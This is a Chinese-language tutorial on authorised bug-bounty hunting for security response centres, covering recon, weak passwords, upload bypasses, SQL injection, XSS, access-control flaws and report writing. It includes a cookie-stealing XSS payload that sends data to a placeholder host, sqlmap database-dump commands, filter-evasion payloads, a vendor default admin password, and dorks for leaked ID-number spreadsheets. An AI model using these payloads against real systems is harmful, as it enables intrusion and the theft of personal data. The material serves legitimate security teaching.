1. 项目概述从“挖洞”到“挖金”SRC漏洞挖掘的实战价值如果你对网络安全感兴趣或者想通过技术手段获得一份不错的额外收入那么“SRC漏洞挖掘”这个词你一定不陌生。它听起来很专业甚至有点神秘但说白了就是通过合法授权的方式去发现互联网上各类网站、应用、系统的安全漏洞并向其所属的安全应急响应中心提交报告的过程。这个过程圈内人习惯称之为“挖洞”。我接触这行有几年了从最初看着别人提交高危漏洞获得高额奖金眼红到自己一步步摸索、踩坑、总结再到后来能稳定产出这个过程远比想象中更有挑战也更有趣。这篇文章我想把我从零基础入门到能独立挖掘中高危漏洞的完整心路历程和实战经验毫无保留地分享给你。无论你是完全不懂代码的“脚本小子”还是有一定安全基础想提升实战能力的同学这篇内容都能帮你构建一个清晰的SRC挖掘知识框架并附上可以直接上手操作的“作业”。很多人对SRC挖掘有误解认为就是拿着扫描器乱扫或者必须精通各种高深的漏洞原理。其实不然。在我看来SRC挖掘尤其是黑盒测试其核心本质是信息收集和逻辑推理。你需要像侦探一样从公开的、零散的信息碎片中拼凑出目标的资产地图并从中找到防守最薄弱的那一环。这个过程工具是辅助思路才是王道。接下来我会从最基础的认知开始带你一步步拆解这个体系内容会涵盖信息收集的“道”与“术”、常见漏洞的实战挖掘手法、报告编写的技巧以及最重要的——如何培养持续挖洞的“手感”和心态。准备好了吗我们开始。2. 核心思路与能力地图构建你的“挖洞”知识体系在真正动手之前我们必须先搞清楚SRC漏洞挖掘到底需要哪些能力以及如何系统地构建这些能力。盲目地开始很容易在遇到挫折后迅速放弃。我把这个过程总结为四个核心阶段认知准备、信息收集、漏洞探测、报告与提升。这四个阶段并非完全线性而是螺旋上升、不断循环的过程。2.1 认知准备心态、法律与目标选择首先心态上要摆正。挖洞不是搞破坏而是一种建设性的安全测试。你必须严格遵守各大SRC平台的规定只在授权范围内进行测试。绝对禁止对未授权的目标、生产环境核心业务、用户数据进行任何可能造成破坏或数据泄露的测试。这是红线也是底线。我见过不少技术不错的人因为越界测试而被平台拉黑甚至承担法律责任非常可惜。其次是目标选择。对于新手我强烈建议从教育、政府类的SRC入手。这类目标资产庞杂历史遗留系统多安全投入相对有限存在漏洞的概率较高。像国内很多高校的二级学院网站、老旧的后台管理系统都是不错的起点。虽然奖金可能不如一线互联网大厂丰厚但对于积累信心和实战经验至关重要。等手法熟练后再逐步挑战大型互联网企业的SRC那里的漏洞价值更高但防守也更严密。最后是工具准备。你不需要一开始就精通所有工具。一个浏览器、一个Burp Suite社区版免费、一个笔记软件如Obsidian、Notion用来记录思路和资产再加上一些基础的命令行工具就足以开始你的第一次探索。记住工具是思维的延伸不要被工具绑架。2.2 信息收集挖洞的“地基工程”信息收集的广度和深度直接决定了你能发现多少攻击面。这是最枯燥但也最见功力的环节。我把它分为几个层次第一层基础资产发现。目标是搞清楚目标比如xxx.edu.cn到底有哪些对外的网站、服务、IP地址。这里离不开网络空间测绘引擎。Fofa / Shodan / Zoomeye这是我们的“望远镜”。以Fofa为例你可以使用非常灵活的语法进行搜索。例如想找某个大学的所有Web资产可以尝试domainxxx.edu.cn status_code200。想找该校可能存在的Apache Struts2框架站点可以搜domainxxx.edu.cn bodystruts。Shodan则更侧重于非Web服务如开放的Redis、MongoDB、摄像头等。子域名枚举主站往往防护严密但众多的子域名如exam.xxx.edu.cn,oa.xxx.edu.cn,old.xxx.edu.cn可能就是突破口。工具上subfinder,amass,OneForAll都是不错的选择。也可以利用证书透明度日志如crt.sh来发现子域名。第二层深度信息挖掘。在发现资产后需要深入挖掘潜在的攻击点。目录与文件扫描使用dirsearch,gobuster,ffuf等工具针对发现的站点进行常见目录、备份文件如.git,.bak,.sql、配置文件如config.php,web.config的扫描。很多时候一个泄露的.git文件夹就能让你拿到网站源码。Google Hacking谷歌语法这是被动信息收集的利器。通过特定的搜索语法可以直接找到敏感信息。例如搜索某学校的Excel表格可能包含学生信息site:edu.cn filetype:xls 学号 身份证搜索可能存在SQL错误的页面site:xxx.edu.cn intext:sql syntax near或site:xxx.edu.cn intext:warning: mysql搜索开放的目录列表site:xxx.edu.cn intitle:index of。重要提示正如很多SRC平台指出的仅仅发现包含身份证、学号等敏感信息的文件如果无法证明其可被直接利用造成实质性危害如登录系统、篡改数据报告很可能被忽略或定为“无风险”。你需要进一步验证例如结合找到的学号去尝试登录该学校的教务系统测试弱口令或默认密码。第三层技术栈指纹识别。识别目标使用的技术能让你有的放矢。比如Wappalyzer浏览器插件快速识别网站用的CMS、前端框架、服务器、编程语言等。查看HTTP响应头Server,X-Powered-By等字段会透露服务器和语言信息。查看网页源码注释、JS库引用、特定路径如/wp-admin/指向WordPress都是线索。识别出是ThinkPHP、Spring Boot、Struts2、Shiro等框架后你就可以去搜索这些框架历史上存在的公开漏洞CVE并进行针对性测试。实操心得信息收集不是一蹴而就的它是一个持续的过程。我习惯为每个目标建立一个独立的笔记页面将发现的子域名、IP、开放端口、识别到的技术、可疑的目录等信息分门别类地记录进去。随着测试的深入不断补充和关联信息。很多时候漏洞就藏在不同信息片段的关联之中。3. 核心漏洞类型与实战挖掘手法有了扎实的信息收集基础我们就可以进入具体的漏洞挖掘环节。对于新手我建议从以下几种常见且容易上手的漏洞类型开始它们构成了SRC漏洞报告的“基本盘”。3.1 弱口令与默认口令这是最简单直接但依然非常有效的突破口。目标不仅仅是后台登录口还包括系统/服务后台网站管理后台/admin,/manage,/wp-admin、路由器、交换机、摄像头管理界面。数据库服务MySQL3306、Redis6379、MongoDB27017等未授权或弱口令访问。中间件管理台Tomcat Manager/manager/html、Jenkins/jenkins、WebLogic Console。实战手法常见口令字典准备或生成包含admin/admin,admin/123456,admin/admin123,root/root, 以及目标单位名称缩写常见数字组合的字典。针对性爆破使用Burp Suite的Intruder模块或者hydra、medusa等工具进行登录爆破。务必注意频率过快的请求会触发IP封禁。Burp Suite的Intruder可以设置“Pause between requests”来降低速度。默认口令查询记住一些常见系统的默认口令。例如很多校园网设备喜欢用telecomadmin和nE7jA%5m华为光猫超管一些老旧CMS的默认后台路径和口令在网上都能查到。注意事项爆破是高风险操作极易触发告警。务必在SRC平台规定的测试范围内进行并且优先选择在非业务高峰时段测试非核心系统。如果尝试几次常见组合无果应果断放弃转向其他入口。3.2 文件上传漏洞这是能直接获取服务器权限getshell的高危漏洞价值很高。核心在于绕过前端和后端对上传文件的过滤。常见绕过技巧前端绕过修改页面JS或直接使用Burp Suite拦截修改请求将文件扩展名改回.php,.jsp等。黑名单绕过如果后端黑名单禁止了.php可以尝试.php5,.phtml,.phps(PHP).jspx,.jspf(JSP).asa,.cer,.aspx(ASP/ASPX在某些服务器配置下可被解析)文件头/内容绕过在文件开头添加图片的文件头如GIF89a或者利用exif_imagetype()等函数检测的缺陷。解析漏洞利用服务器解析文件的特性。IIS 5.x/6.0 目录解析/upload/test.asp;.jpg会被IIS6当作asp执行。IIS 7.0/7.5/Nginx 畸形解析test.jpg/.php在某些配置下会被解析为php文件。Apache 多后缀解析test.php.xxx如果.xxx未被识别Apache会从右向左解析可能最终执行.php。竞争条件攻击在上传和检查的短暂时间差内访问上传的文件从而执行恶意代码。实战流程寻找任何有上传功能的地方用户头像、文章附件、资料提交、导入导出等。尝试上传一个纯文本文件如test.txt观察返回路径和文件名处理规则是否重命名是否保持原扩展名。根据返回信息设计绕过方案。例如如果返回路径是uploads/20231027/xxxxxx.jpg且文件名被重命名那么重点测试解析漏洞和内容绕过。如果保留了原文件名则重点测试黑名单绕过。上传一个无害的Webshell测试文件内容如?php phpinfo();?确认是否能被访问和执行。3.3 SQL注入漏洞虽然存在多年但依然是中高危漏洞的常客。核心原理是用户输入被拼接到数据库查询语句中导致可执行任意SQL命令。手动测试与工具结合寻找注入点所有带参数的动态页面都是怀疑对象如/news.php?id1,/search?keywordtest。初步探测在参数后添加单引号观察页面是否报错显示数据库错误信息或者页面显示异常空白、布局错乱。例如id1。逻辑测试使用and 11和and 12。如果id1 and 11页面正常而id1 and 12页面异常则存在注入的可能性极大。工具验证与利用使用sqlmap进行自动化检测和利用。这是神器但要用好。基本命令sqlmap -u http://target.com/news.php?id1 --batch提高效率将Burp Suite拦截到的请求保存为request.txt文件然后使用sqlmap -r request.txt进行测试这样可以处理Cookie、POST数据等复杂情况。获取数据确认注入后可以使用--dbs查看数据库-D database_name --tables查看表-D db -T table -C column1,column2 --dump导出数据。实操心得不要完全依赖sqlmap的自动检测。对于一些基于时间盲注、布尔盲注的复杂注入sqlmap可能漏报。手动构造and sleep(5)这样的Payload观察页面响应时间是检测时间盲注的有效方法。同时在测试SQL注入时一定要使用--level和--risk参数提高检测等级并谨慎使用--os-shell这类高风险操作避免对目标数据库造成破坏。3.4 跨站脚本漏洞XSS漏洞虽然在高价值SRC中评级可能不高但它是组合拳中的重要一环可用于盗取Cookie、发起钓鱼攻击等。类型与测试反射型XSSPayload通过URL参数传入并立即在页面中反射出来。测试方法在所有输入点尝试scriptalert(document.domain)/script。查看页面源码看输入是否被原样输出且未被过滤。存储型XSSPayload被保存到服务器如评论、留言、昵称当其他用户访问时触发。危害更大。DOM型XSS漏洞发生在客户端JS代码中不经过服务器。需要分析前端JS代码逻辑。绕过技巧大小写绕过ScRiPtalert(1)/sCrIpT标签属性事件当script被过滤可以尝试img srcx onerroralert(1),svg onloadalert(1),body onloadalert(1)。编码绕过使用HTML实体编码、JS编码等。例如可以写成lt;但在某些上下文解析时可能会被还原。利用JavaScript伪协议a hrefjavascript:alert(1)click/a实战要点提交XSS漏洞报告时不能仅仅弹个框。你需要证明其危害。例如构造一个能窃取当前用户Cookie的Payloadscriptnew Image().srchttp://your-server.com/steal?cookiedocument.cookie;/script并搭建一个简单的接收服务器可以用Python的http.server模块快速搭建证明Cookie确实可以被外传。4. 漏洞挖掘的进阶思路与逻辑漏洞当掌握了基础漏洞的挖掘方法后想要获得更高价值的漏洞就必须关注业务逻辑。逻辑漏洞往往没有通用的扫描器能发现全靠测试者的思维缜密度和对业务的理解。4.1 越权访问漏洞这是逻辑漏洞的“大户”分为水平越权和垂直越权。水平越权访问同级别其他用户的资源。例如通过修改URL中的用户ID参数?uid10086为?uid10087就能看到别人的订单、个人信息。垂直越权低权限用户获得了高权限用户的功能。例如普通用户通过直接访问/admin/deleteUser.php链接就能执行管理员删除用户的操作。测试方法核心是替换身份标识。注册两个测试账号A-普通用户B-管理员/另一个用户。用A账号完成某个操作如查看个人资料、提交订单用Burp Suite拦截请求将请求中代表A身份的参数如Cookie、Token、用户ID替换成B的重放请求观察是否能以A的身份操作B的数据或执行B的权限功能。4.2 业务逻辑缺陷这类漏洞因业务而异需要发散思维。密码重置漏洞验证码是否可爆破是否可被绕过如最后一步验证缺失重置链接的Token是否可预测如基于时间、用户ID短信/邮箱轰炸请求发送验证码的接口是否没有做频率限制是否可以通过遍历参数如手机号尾号给大量用户发送骚扰短信订单金额篡改在提交订单的最后环节拦截HTTP请求修改商品单价、总价或运费为负数、0或极小值。验证码绕过输入错误的验证码但提交正确的验证码ID或者直接删除请求中的验证码参数。并发竞争问题在积分兑换、抢购、优惠券领取等场景快速发起多个并发请求可能绕过“一人一次”的限制。4.3 接口安全与信息泄露现代应用前后端分离API接口众多也是重点目标。未授权访问API通过爬取JS文件或使用Burp Suite爬虫发现一些未在页面显示的API接口如/api/v1/users,/api/admin/config直接访问可能返回敏感数据。敏感信息泄露API响应中是否包含了不必要的敏感字段如用户密码即使是加密的、身份证号、手机号、内部系统路径、服务器版本信息等。GraphQL接口安全问题如果目标使用GraphQL可能存在 introspection 查询未关闭导致接口信息泄露或者通过复杂查询实现拒绝服务攻击。5. 工具链的搭建与高效使用工欲善其事必先利其器。一个高效、顺手的工具环境能极大提升挖洞效率。以下是我个人在用的工具链供你参考。5.1 信息收集套件子域名收集subfinder(快) amass(全) OneForAll(集大成者)。可以写个脚本串联起来。端口扫描与服务识别nmap是绝对主力。进阶使用masscan进行全端口快速扫描再用nmap对开放端口进行精细识别。nmap -sV -sC -p- -oA full_scan target_ip是一个比较全面的命令。目录/文件扫描ffuf速度极快自定义性强。dirsearch简单易用。gobuster功能稳定。网络空间测绘Fofa、Shodan、Zoomeye的会员是值得投资的它们的高级语法和API能让你在信息收集上快人一步。5.2 漏洞扫描与探测综合漏扫AWVS和AppScan确实强大但误报率高且对个人而言商业版昂贵。它们更适合用于快速获取一个目标的整体安全状况概览而不是精准挖洞。新手可以用它们来学习漏洞特征。被动扫描器Burp Suite Professional的Scanner是神器但它会主动发送大量测试包在SRC测试中需极其谨慎最好只在授权明确允许主动扫描的目标上使用并控制扫描范围。社区版没有主动扫描功能。专项扫描器Xray是一款优秀的被动/主动漏洞扫描器社区版功能足够能很好地与Burp Suite联动作为上游代理实现被动扫描。Nuclei是基于YAML模板的漏洞扫描器社区模板库极其丰富更新快非常适合批量检测已知漏洞CVE、默认口令、配置错误等。我强烈推荐将Nuclei集成到你的工作流中。5.3 代理与抓包分析Burp Suite核心中的核心。不仅仅是抓包改包它的Repeater重放、Intruder爆破、Decoder编解码、Comparer对比模块在测试中无处不在。熟练掌握Burp是进阶的必经之路。浏览器开发者工具F12。用于前端分析、调试JS、查看网络请求、操作Cookie和本地存储。5.4 辅助与效率工具笔记与知识管理Obsidian或Notion。用来记录每个目标的资产信息、测试过程、漏洞点、Payload、报告模板。建立自己的漏洞知识库和Payload库。脚本语言掌握基础的Python/Bash脚本编写能力。用于自动化重复性工作比如批量处理子域名、调用API、解析数据、自定义扫描任务。虚拟机环境使用VMware或VirtualBox搭建一个干净的测试环境如Kali Linux与主机隔离避免测试工具污染主机或产生意外影响。6. 漏洞报告的撰写与提交技巧挖到洞只是成功了一半一份清晰、专业、有效的漏洞报告是获得认可和奖励的关键。糟糕的报告可能导致漏洞被忽略或降级处理。6.1 报告的核心要素一份合格的漏洞报告至少应包含以下部分漏洞标题简明扼要如“XX系统后台管理存在弱口令导致未授权访问”。漏洞等级根据SRC平台的标准自评高危、中危、低危、信息。不确定时可先定高一点平台审核人员会调整。漏洞类型SQL注入、未授权访问、信息泄露等。影响范围说明漏洞影响哪些业务、哪些用户、哪些数据。详细描述漏洞URL完整的漏洞地址。复现步骤这是重中之重必须清晰、完整、可复现。使用“第一步、第二步…”的格式并配上关键步骤的截图。审核人员会严格按照你的步骤去验证。请求与响应提供触发漏洞的原始HTTP请求包和响应包可放在代码块中。对于敏感信息如Cookie、Token进行打码处理但关键参数要保留。漏洞原理简要说明漏洞产生的原因体现你的专业性。修复建议提供切实可行的修复方案。例如对于SQL注入建议使用参数化查询对于越权建议在服务端对每次请求进行权限校验。证明材料除了步骤截图如果漏洞危害较大如getshell可以提供视频证明录屏更有说服力。6.2 提交报告的注意事项遵守规则仔细阅读目标SRC的漏洞提交范围、测试规范、奖励规则。不测试规定外的系统不使用违规工具如大规模扫描、DoS工具。一洞一报一个报告只提交一个独立的漏洞。不要把多个不同站点的同类漏洞打包在一起。沟通态度报告提交后耐心等待审核。如果对审核结果有异议可以礼貌地在报告下方留言沟通提供更多证据或说明切忌言辞激烈。避免重复提交前可以简单在平台上搜索一下目标域名看看是否有同类漏洞已被提交。但这不是必须的主要工作应由平台的去重系统完成。7. 持续学习与心态建设SRC漏洞挖掘是一条需要持续学习和强大心态的道路。保持学习安全技术日新月异。关注安全社区如先知、安全客、Seebug、Exploit-DB、优秀的安全博客和GitHub上的安全项目。学习新的漏洞类型如云原生安全、API安全、新的工具和技巧。培养“手感”挖洞就像打游戏需要“手感”。每天或每周固定投入一些时间即使没有收获这个过程也在锻炼你的信息收集敏感度和测试思维。手感来了可能一天能发现好几个问题点。接受失败被忽略、被驳回、被定为“无风险”或“低危”是家常便饭。不要气馁分析原因是漏洞危害确实不大还是报告没写清楚或者是测试方法不对从中吸取教训。注重积累建立自己的“武器库”Payload字典、子域名收集脚本、常用的Nuclei模板、笔记模板。这些积累会让你越来越高效。安全与法律意识时刻牢记这是一场在规则内的“攻防游戏”。任何试图突破规则、获取不当利益或造成损害的行为都将带来严重的后果。这条路没有捷径从“零基础”到“精通”意味着大量的时间投入、不断的实践总结和持续的求知欲。希望这篇超过五千字的详细剖析能为你点亮一盏灯让你在SRC漏洞挖掘的道路上少走一些弯路。真正的精通始于你第一次亲手提交一份被认可的漏洞报告。现在打开你的浏览器和Burp Suite选一个目标开始你的第一次探索吧。记住第一个洞往往就在你认为最不可能的地方。